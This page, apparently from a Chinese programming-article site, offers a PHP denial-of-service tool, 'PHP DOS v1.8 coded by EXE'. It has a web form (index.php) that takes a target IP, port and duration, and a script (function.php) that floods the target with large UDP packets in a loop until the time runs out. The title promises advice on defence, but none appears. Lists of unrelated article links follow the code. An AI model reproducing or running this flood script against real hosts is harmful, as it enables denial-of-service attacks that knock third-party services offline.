php DOS攻击实现代码(附如何防范)


Posted in PHP onMay 29, 2012

index.php

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> 
<meta name="author" content=""> 
<title>PHP DoS, Coded by EXE</title> 
</head> 
<!-- PHP DOS, coded by EXE --> 
<style type="text/css"> 
<!-- 
body { 
font-family: Arial, Helvetica, sans-serif; 
font-size: 12px; 
font-style: normal; 
line-height: normal; 
color: #FFFFFF; 
background-color: #000000; 
} 
--> 
</style> 
<!-- PHP DOS, coded by EXE --> 
<body> 
<center><br><br> 
<img src="main.jpg"><br> 
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> 
<form name="input" action="function.php" method="post"> 
IP: 
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> 
    Time: 
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> 
    Port: 
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> 
<br><br> 
<input type="submit" value=" Start the Attack---> "> 
<br><br> 
<center> 
After initiating the DoS attack, please wait while the browser loads. 
</center> 
</form> 
</center> 
<!-- PHP DOS, coded by EXE --> 
</body> 
</html>

function.php
<?php 
//================================================= 
//PHP DOS v1.8 (Possibly Stronger Flood Strength) 
//Coded by EXE 
//================================================= 
$packets = 0; 
$ip = $_POST['ip']; 
$rand = $_POST['port']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_POST['time']; 
$time = time(); 
print "Flooded: $ip on port $rand <br><br>"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= "X"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; 
?>
PHP 相关文章推荐
用PHP 快速生成 Flash 动画的方法
Mar 06 PHP
一步一步学习PHP(6) 面向对象
Feb 16 PHP
国外PHP程序员的13个好习惯小结
Feb 20 PHP
LotusPhp笔记之:Cookie组件的使用详解
May 06 PHP
PHP登陆后跳转到登陆前页面实现思路及代码
Jan 17 PHP
php 生成自动创建文件夹并上传文件的示例代码
Mar 07 PHP
ThinkPHP模板中判断volist循环的最后一条记录的验证方法
Jul 01 PHP
php+ajax实现无刷新的新闻留言系统
Dec 21 PHP
php中preg_replace正则替换用法分析【一次替换多个值】
Jan 17 PHP
PHP编程实现脚本异步执行的方法
Aug 09 PHP
在 Laravel 中动态隐藏 API 字段的方法
Oct 25 PHP
浅析PHP echo 和 print 语句
Jun 30 PHP
PHP fgetcsv 定义和用法(附windows与linux下兼容问题)
May 29 #PHP
PHP中将网页导出为Word文档的代码
May 25 #PHP
php在文件指定行中写入代码的方法
May 23 #PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
You might like
php连接mssql数据库的几种方法
2013/02/21 PHP
PHP中$_FILES的使用方法及注意事项说明
2014/02/14 PHP
php计算整个目录大小的方法
2015/06/01 PHP
PHP如何使用Memcached
2016/04/05 PHP
如何在PHP中读写文件
2020/09/07 PHP
基于JQuery制作的产品广告效果
2010/12/08 Javascript
c#和Javascript操作同一json对象的实现代码
2012/01/17 Javascript
js判断样式className同时增加class或删除class
2013/01/30 Javascript
JS Replace()的高级使用方法介绍
2013/06/29 Javascript
Jquery 类网页微信二维码图块滚动效果具体实现
2013/10/14 Javascript
jquery实现带二级菜单的导航示例
2014/04/28 Javascript
jQuery使用andSelf()来包含之前的选择集
2014/05/19 Javascript
加载列表时jquery获取ul中第一个li的属性
2014/11/02 Javascript
js获取当前日期时间及其它操作汇总
2015/04/17 Javascript
深入分析element ScrollBar滚动组件源码
2019/01/22 Javascript
JavaScript实现的九种排序算法
2019/03/04 Javascript
解决vue打包后vendor.js文件过大问题
2019/07/03 Javascript
[01:24:09]Ti4 冒泡赛第二轮DK vs C9 1
2014/07/14 DOTA
[02:24]DOTA2亚洲邀请赛 NAVI战队出场宣传片
2015/02/07 DOTA
[01:14]辉夜杯战队访谈宣传片—NEWBEE.Y
2015/12/26 DOTA
深入解析Python编程中JSON模块的使用
2015/10/15 Python
python 线程的暂停, 恢复, 退出详解及实例
2016/12/06 Python
python添加模块搜索路径方法
2017/09/11 Python
django 外键model的互相读取方法
2018/12/15 Python
python3实现点餐系统
2019/01/24 Python
Python的赋值、深拷贝与浅拷贝的区别详解
2020/02/12 Python
python实现提取str字符串/json中多级目录下的某个值
2020/02/27 Python
教师见习期自我鉴定
2014/04/28 职场文书
安全环保标语
2014/06/09 职场文书
关键在于落实心得体会
2014/09/03 职场文书
单位一把手群众路线四风问题整改措施
2014/09/25 职场文书
校园文化艺术节宣传标语
2014/10/09 职场文书
2014年为民办实事工作总结
2014/12/20 职场文书
世界无敌的ICOM IC-R9500宽频接收机
2022/03/25 无线电
Android 界面一键变灰 深色主题工具类
2022/04/28 Java/Android
win10截图快捷键win+shift+s没有反应无法截图怎么解决?
2022/08/14 数码科技